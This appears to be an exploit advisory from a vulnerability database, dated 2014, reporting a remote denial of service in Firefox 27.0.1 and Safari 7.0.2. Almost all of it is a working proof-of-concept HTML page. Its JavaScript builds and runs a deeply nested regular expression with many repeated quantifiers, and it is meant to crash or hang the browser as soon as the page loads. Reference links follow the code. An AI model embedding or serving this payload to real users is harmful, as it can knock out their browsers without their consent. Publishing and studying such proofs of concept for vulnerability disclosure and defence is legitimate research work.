Firefox 27.0.1 and Safari 7.0.2 (9537.74.9) Remote Denial of Service

2014.03.13
Credit: Maksymilian Arciemowicz
Risk: Medium
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

<HTML> <HEAD> <TITLE>Firefox 27.0.1 and Safari 7.0.2 (9537.74.9)</TITLE> </HEAD> <BODY BGCOLOR="#FFFFFF"> <SCRIPT type="text/javascript"> var patt1=new RegExp("((.*)(((((((((((((((((((((((((((((((.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}.*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+))"); document.write(patt1.exec("cxsecurity")); </SCRIPT> </BODY> </HTML>

References:

http://cert.cx/regexp-smaczki/regcomp2.png
http://cert.cx/regexp-smaczki/visual4.png
http://cert.cx/regexp-smaczki/visual3.png


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